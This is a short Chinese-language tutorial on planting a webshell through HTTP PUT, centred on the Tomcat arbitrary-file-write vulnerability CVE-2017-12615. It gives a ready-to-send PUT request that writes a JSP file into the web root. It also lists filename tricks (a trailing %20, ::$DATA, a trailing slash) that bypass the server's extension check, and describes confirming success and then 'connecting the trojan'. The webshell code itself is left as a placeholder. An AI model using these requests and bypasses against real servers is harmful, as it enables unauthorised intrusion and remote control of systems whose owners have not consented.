PUT方法写shell
前言:
PUT是http的一个请求方法
PUT的前提,是了解HTTP协议。下面给出HTTP - PUT的一个模板:
PUT /test.txt HTTP/1.1 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: test.com:8080 hello world
发送请求后,访问.../text.txt将输出hello world
要注意如下几个点:
① PUT方法是HTTP 1.1协议中才出现的。
② HTTP协议对空格敏感,每行数据的结尾不能出现空格
③ HTTP头部和数据中间要空一行,即HTTP头部是以\r\n\r\n结尾的。
④ 端口号直接跟在HOST后面
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
影响版本:
Tomcat版本:8.5.19 Apache Tomcat 7.0.0 - 7.0.79
直接发送以下数据包即可在Web根目录写入shell:
PUT /1.jsp/ HTTP/1.1 Host: your-ip:8080 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 5 shell
shell那儿直接写入jsp的马,或者其他语言对应写对应的马,请求头参数可适当的根据实际情况改动。
虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用/
)来绕过了限制:
shell.jsp%20 shell.jsp::$DATA shell.jsp/
返回响应包的状态码为201说明写入成功。
然后根目录跟上写入的.jsp文件即可访问。之后连马。